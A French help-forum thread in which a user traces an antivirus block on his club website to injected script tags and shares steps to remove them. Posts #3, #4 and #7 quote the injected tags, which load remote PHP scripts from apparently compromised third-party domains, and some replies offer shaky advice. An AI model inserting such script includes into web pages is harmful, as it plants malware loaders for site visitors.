internet & fixe protéger mes données et mon accès internet Voir tous les sujets internet & fixe

[#1]

Bonjour

Sur mon pc site perso sur le foot impossible d'y accéder depuis hier

Infection bloquée

URL :

http://as.gestel.pagesperso-orange.fr/historique1.ht...

Infection :

JS:Includer-APY [Trj]

Avec Filezilla quand je veux rapatrier mon fichier index il supprime mon fichier index sur le fichier source

Impossible de faire une restauration du système.

hhp://asgestel.new.fr

Le site s'ouvre t'il chez vous

Comment se débarraser de ce trojan

Avast ne trouve rien

Malwarebytes idem

[#2]

bonjour,

en faisant un copier coller de l'adresse non !!

je pe,se que tu as tu oublier certains caractères

mais ce dernier est accessible a cette adresse

http://asgestel.new.fr/

toutefois pour la soirée du 26 avril 2014 c'est accès interdit car trojan , les festivités idem ,

essaye peut etre avec TDSS de kaspersky

http://support.kaspersky.com/fr/#s_tab4

a moins que @zenix  fasse un saut sur ce sujet

cdt,

[#3]

Bonjour black ice

J'ai scanné avec TDSS mais rien trouvé.

Je rapatrie mes pages htm en déactivant avast et dans le code source j'ai decouvert

<!--3e0e71-->
<script
src="http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
type="text/javascript"></script><!--/3e0e71--> </td>

sur trois pages.

Je vais m'amuser à toutes les rapatrier et supprimer cette partie de code.

Après on verra si le site refonctionne

Bonne soirée

[#4]

Bonsoir

Méthode pour nettoyer un site infesté par un trojan includer-apy détecté par un antivirus.

Utiliser malwarebytes et en complément adwcleaner voir site :

http://malwaretips.com/blogs/pup-optional-visualbee-removal/

Une fois le pc nettoyé nettoyer toutes les pages htm ou html.

D’ACTIVER VOTRE ANTVIRUS

Vous voyez sur le site distant que vos page htm ou html on été modifiées toutes à la même date.

Il faut modifier les pages 1 par 1

Sur votre logiciel de transfère rapatrier la page du site distant vers le site local.

Avec votre logiciel de création de sites ouvrir la page, afficher le code source

<!--3e0e71-->
<script
src="http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
type="text/javascript"></script><!--/3e0e71--> </td>

Enregistrer la modification

Retour au logiciel de transfert, supprimer le fichier du site distant et replacer le fichier modifié.

Répéter pour chaque fichier htm ou html de votre site

               Bon courage

[#5]

lire : ouvrir le code source et supprimer

[#6]

Bonjour Black-ice
Bonjour  Vasco

dans  le  premier  lien   que  tu  as  mis  dans  ton  premier  message 
comme   l '  a  suggéré  Black-ice , l adresse  est  incompléte !
a  la   fin  , il   manque le  < ml >  , du   html , qui  est  remplacé  par  des  points
si  on   rectifie  l  URL  ,  ça  marche !!!

http://as.gestel.pagesperso-orange.fr/historique1.html
--------------
c '  est  pas  le  site  qui  est  infesté , c '  est   ton  PC !

en  plus  , le   Malwarebytes  que   tu  as   utilisé  n '  est   pas  un vrai , surement  une  vérole  !
regarde  bien  l 'URL  du  site  ;  c ' est   indiqué   "  malwaretips .com "

et  non  pas " malwarebytes.org  " , comme  ça devrait

on  peut  l  avoir  sur  le site   officiel

http://www.malwarebytes.org/free/

ou  bien  sur  le site  tres   explicite =

http://assiste.free.fr/Assiste/Malwarebytes_Anti_Malware_%28MBAM%29.html

@+
Zenix®

[#7]

Bonsoir Xenix

L’adresse erronée est un message de avast pour site bloqué.

J’utilise malwarebyte pro pour mon pc.

Il me semble que mes ennuis viennent du faite que j’avais mis la météo sur le site.

http://www.prevision-meteo.ch/services

Depuis que j’ai installé le code source mon site a été vérolé 2 fois.

Une fois

</div><!--dff8f1--><script src="http://muslimischegemeindeaalen.de/nOfzwEo7.php?id=50628897" type="text/java-script"></script><!--/dff8f1-->

Une deuxième fois

<!--3e0e71-->
<script
src="http://www.edinburgh-selfcatering-accommodation.com/I74uJDxi.php?id=50628904"
type="text/javascript"></script><!--/3e0e71--> </td>

Dans toutes les pages html du site

[#8]

Bonjour  Vasco


si  tu   utilise   Avast  et   Malwarebytes Pro  , qui  a  une  fonction  résident , c '  est   pas  étonnant  qu ' il  y  a  des  Bugs !
et  en  plus  tu  fais  une   analyse  avec    un anti- malware vérolé !

et  puis  , évite  aussi   de  mettre   des  liens  pourris  sur   ce forum

http://www  edinburgh selfcatering .accommodation  com/I74uJDxi.p h p?id=0628904"
------------------------------------------



garde  ton  site  pour  toi  ,et  viens pas   en  faire  de pub  ici 

Zenix®

[#9]

Bonsoir

Pour qui prends-tu les contributeurs du forum ?

Je ne fais pas la pub pour un site malveillant , je signale simplement ce que l’on peut trouver dans le code source quand son site est bloqué par un antivirus.

De plus je te signale d’avast et malwarebyte n’ont pas la même fonction et ne provoquent pas de conflit sur un pc.

Je te redis si tu n’as pas compris que je n’ai pas fait d’analyse avec un malware vérolé mais avec un malwarebytes pro.

Si tu viens sur le forum pour critiquer la manière dont on règle le problème pas la peine de répondre.

J’aurais  préféré que tu trouves une solution à mon problème

Bonne soirée

[#10]

bonjour,

je viens a nouveau d'aller sur le site et la j'ai consulté les pages  sans problèmes

le trojan generic n'est que temporaire je l'ai deja rencontré sur certaines pages web il reste un certains temps puis s'en va comme il est venu

j'ai meme rencontré une fois un flashplayer piégé sur un site d'association  il convient de redoubler de vigilance !!

cdt,